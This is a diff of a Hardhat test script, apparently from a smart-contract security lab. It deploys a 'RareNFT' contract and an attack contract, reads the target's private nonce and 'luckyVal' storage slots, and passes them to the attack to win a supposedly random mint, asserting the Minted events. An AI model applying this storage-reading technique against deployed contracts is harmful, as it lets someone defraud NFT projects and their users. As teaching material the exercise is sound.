1
+ const { expect } = require ( "chai" ) ;
1
2
const { ethers } = require ( "hardhat" ) ;
2
3
3
4
const ONE_ETHER = ethers . utils . parseUnits ( "1" , "ether" ) ;
@@ -6,32 +7,32 @@ async function deploy(deployer, attacker) {
6
7
const Rare = await ethers . getContractFactory ( "RareNFT" , deployer ) ;
7
8
const RareNFTAttack = await ethers . getContractFactory ( "RareNFTAttack" , attacker ) ;
8
9
9
- const rare = await Rare . deploy ( { value :ONE_ETHER } ) ;
10
- const attack = await RareNFTAttack . deploy ( { value :ONE_ETHER } ) ;
10
+ const rare = await Rare . deploy ( { value : ONE_ETHER } ) ;
11
+ const attack = await RareNFTAttack . deploy ( { value : ONE_ETHER } ) ;
11
12
12
- return [ rare , attack ] ;
13
+ return [ rare , attack ] ;
13
14
}
14
15
15
16
async function main ( ) {
16
- let [ deployer , attacker ] = await ethers . getSigners ( ) ;
17
- let [ rare , attack ] = await deploy ( deployer , attacker ) ;
17
+ let [ deployer , attacker , user ] = await ethers . getSigners ( ) ;
18
+ let [ rare , attack ] = await deploy ( deployer , attacker ) ;
18
19
console . log ( "RareNFT contract :" , rare . address ) ;
19
20
console . log ( "Attack contract :" , attack . address ) ;
20
21
21
- let nonce = await ethers . provider . getStorageAt ( rare . address , 3 ) ;
22
- let luckyVal = await ethers . provider . getStorageAt ( rare . address , 4 ) ;
22
+ let nonce = await ethers . provider . getStorageAt ( rare . address , 3 ) ;
23
+ let luckyVal = await ethers . provider . getStorageAt ( rare . address , 4 ) ;
23
24
24
- await attack . connect ( attacker ) . attack ( nonce , luckyVal ) ;
25
- rare . tokenInfo ( 0 ) . then ( res =>
26
- console . log ( "Attack mint:\n" , res ) ) ;
25
+ console . log ( "LuckyVal set by the contract is :" , await ethers . BigNumber . from ( luckyVal ) . toNumber ( ) ) ;
27
26
27
+ let tx = await attack . connect ( attacker ) . attack ( nonce , luckyVal ) ;
28
+ await expect ( tx ) . to . emit ( rare , "Minted" ) . withArgs ( 0 , attack . address ) ;
28
29
29
- await rare . connect ( attacker ) . mint ( 1 , { value :ONE_ETHER } ) ;
30
- rare . tokenInfo ( 1 ) . then ( res =>
31
- console . log ( "Normal mint:\n" , res ) ) ;
32
-
30
+ console . log ( "\nAttack minted NFT data :" , await rare . tokenInfo ( 0 ) ) ;
33
31
32
+ let tx2 = await rare . connect ( user ) . mint ( 1 , { value : ONE_ETHER } ) ;
33
+ await expect ( tx2 ) . to . emit ( rare , "Minted" ) . withArgs ( 1 , user . address ) ;
34
34
35
+ console . log ( "\nUser minted NFT data :" , await rare . tokenInfo ( 1 ) ) ;
35
36
}
36
37
37
38
main ( ) ;
0 commit comments